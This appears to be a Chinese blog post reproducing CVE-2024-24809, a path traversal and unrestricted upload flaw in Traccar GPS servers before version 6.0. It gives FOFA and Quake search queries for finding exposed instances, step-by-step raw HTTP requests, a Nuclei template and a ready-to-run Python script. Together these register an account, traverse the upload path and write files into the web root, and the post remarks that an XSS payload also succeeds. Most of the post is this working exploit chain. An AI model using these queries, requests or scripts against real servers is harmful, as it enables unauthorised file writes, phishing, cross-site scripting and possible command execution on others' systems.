【漏洞复现】CVE-2024-24809

【漏洞复现】CVE-2024-24809

混子Hacker 混子Hacker 2024-11-24 16:25


免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不承担任何法律及连带责任。


漏洞简介 
]

—— 
生活不可能像你想象的那么好,但也不会像你想象的那么糟。人的脆弱和坚强都超乎自己的想象。
 ——

CVE-2024-24809

Description Traccar 是一个开源的 GPS 跟踪系统。6.0 之前的版本容易受到路径遍历和不受限制地上传危险类型的文件的影响。由于系统默认允许注册,攻击者可以通过注册账号来获取普通用户权限,并利用该漏洞上传前缀为 device 的文件。在任何文件夹下。攻击者可以利用此漏洞进行网络钓鱼、跨站点脚本攻击,并可能在服务器上执行任意命令。版本 6.0 包含针对该问题的补丁

漏洞信息

混子Hacker

01

资产测绘

fofa: app="Traccar"
Quake:title:"Traccar"

混子Hacker**

02

漏洞复现

1、注册账号

POST /api/users HTTP/1.1
Host: xxx
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 73

{"name": "用户名", "email": "邮箱", "password": "123456"}

2、登录获取cookie

POST /api/session HTTP/1.1
Host: xxx
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 40

email=邮箱&password=123456

3、添加device,获取device_id即响应包中的id值

POST /api/devices HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 44

{"name": "oiCEsOJk", "uniqueId": "oiCEsOJk"}

4、上传文件,Content-Type设置为image/文件后缀

POST /api/devices/{device_id}/image HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: image/HUyjxWsW
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 20

hPrctfuSZzpXdTTGcqvO

5、更改上传路径
device_name
为步骤3中的name

PUT /api/devices/{device_id} HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 326

{"id": {device_id}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{device_name}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}

6、再次上传文件

POST /api/devices/{device_id}/image HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: image/HUyjxWsW
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 20

hPrctfuSZzpXdTTGcqvO

访问上传成功

可以上传一个xss payload也是成功弹窗

混子Hacker**

03

Nuclei Poc

id: CVE-2024-24809

info:
  name: Traccar - An authentication bypass vulnerability
  author: Ghost_sec
  severity: high
  description:
    Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.
  reference:
    - https://github.com/traccar/traccar/commit/b099b298f90074c825ba68ce73532933c7b9d901
    - https://notcve.org/view.php?id=CVE-2024-24809
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24809
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
    cvss-score: 8.5
    cve-id: CVE-2024-24809
    cwe-id: CWE-27
    epss-score: 0.00043
    epss-percentile: 0.09551
  metadata:
    verified: true
    max-request: 1
    shodan-query: app:"Traccar"
  tags: cve,cve2024,traccar,rce,intrusive,file-upload

variables:
  name: "ghostsec"
  password: "ghostsec"
  email: "[email protected]"
  unique: "{{rand_base(6)}}"
  str: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  - raw:
      - |
        POST /api/users HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}

    matchers:
      - type: word
        part: body
        words:
          - '"administrator":'
          - '"fixedEmail"'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8

        email={{email}}&password={{password}}

    matchers:
      - type: word
        part: body
        words:
          - '"deviceReadonly":'
          - '"expirationTime":'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/devices HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{unique}}", "uniqueId": "{{unique}}"}

    matchers:
      - type: word
        part: body
        words:
          - '"calendarId"'
          - '"groupId":'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: value
        internal: true
        json:
          - '.id'

  - raw:
      - |
        POST /api/devices/{{value}}/image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: image/srHtgGrc

        {{str}}

    extractors:
      - type: regex
        part: body
        name: filename
        internal: true
        regex:
          - 'device\.([a-zA-Z]+)'

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        PUT /api/devices/{{value}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id": {{value}}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{{unique}}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}

    matchers:
      - type: word
        part: body
        words:
          - '"deviceImage":'
          - '"expirationTime":'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/devices/{{value}}/image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: image/srHtgGrc

        {{str}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200

python脚本

import requests
import random
import string
import sys

session = requests.session()

def generate_random_string(length=8):
    letters = string.ascii_letters
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str


def register(target, username):
    headers = {
        'Content-Type': "application/json"
    }
    data = {
        "name": username,
        "email": f"{username}@admin.com",
        "password": "123456"
    }

    res = session.post(f"{target}/api/users",headers=headers, json=data)
    return res


def login(target, username):
    headers = {
        'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8"
    }
    data = 'email=' + username + '@admin.com&password=123456'
    res = session.post(f"{target}/api/session",headers=headers, data=data)
    return res


def add_device(target, device_name):
    headers = {
        'Content-Type': "application/json"
    }
    data = {
        "name": device_name,
        "uniqueId": device_name
    }
    res = session.post(f"{target}/api/devices",headers=headers, json=data)
    return res


def upload_file(target, device_id, file_suffix, data):
    headers = {
        'Content-Type': f"image/{file_suffix}"
    }
    res = session.post(f"{target}/api/devices/{device_id}/image",headers=headers, data=data)
    return res

def change_upload_path(target, device_id, device_name, upload_path):
    headers = {
        'Content-Type': 'application/json'
    }
    data = {
        "id": device_id,
        "attributes": {
            "deviceImage": "device.png"
        },
        "groupId": 0,
        "calendarId": 0,
        "name": "test",
        "uniqueId": f"{device_name}/../../../../..{upload_path}",
        "status": "offline", "lastUpdate":None,"positionId":0,"phone":None,"model":None,"contact":None,"category":None,"disabled":False,"expirationTime":None}
    res = session.put(f"{target}/api/devices/{device_id}",headers=headers, json=data)
    return res


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} http://example.com:8082")
        sys.exit(0)
    target = sys.argv[1]
    username = generate_random_string()
    # register user
    res = register(target, username)
    if username not in res.text:
        print("Register Error!!")
        sys.exit(0)
    print(f"Register: {username}@admin.com  Password: 123456")
    # login
    res = login(target, username)
    if username not in res.text:
        print("Login Error!!")
        sys.exit(0)
    print("Login Success!!")
    device_name = generate_random_string()

    # Add Device
    res = add_device(target, device_name)
    if 'id' not in res.text:
        print("ADD Device Error!!")
        sys.exit(0)
    print(f'Add Device Success!! [{device_name}]')
    device_id = res.json()['id']

    # # Upload File
    suffix = generate_random_string()
    data = generate_random_string(20)
    res = upload_file(target, device_id, suffix, data)
    if 'device.' + suffix not in res.text:
        print("Upload Error!!")
        sys.exit(0)
    print(f"First Upload Success!!")

    # Change Upload Path
    upload_path = "/opt/traccar/modern"
    res = change_upload_path(target, device_id, device_name, upload_path)
    if upload_path not in res.text:
        print("Change Upload Path Error!!")
        sys.exit(0)
    print("Change Upload Path Success!!")

    # Upload File Again
    res = upload_file(target, device_id, suffix, data)
    if 'device.' + suffix not in res.text:
        print("Upload Error!!")
        sys.exit(0)

    print("Upload Success!!")
    # Check upload
    # if set upload_path = "/opt/traccar/modern"
    check_url = f"{target}/device.{suffix}"
    print(f"Check: {check_url}")
    res = session.get(check_url)
    if data in res.text:
        print("Is a Vulnerability!")
    else:
        print('Not is a Vulnerability!')

<<<  
END 

原创文章|转载请附上原文出处链接

更多漏洞|关注作者查看

作者|混子Hacker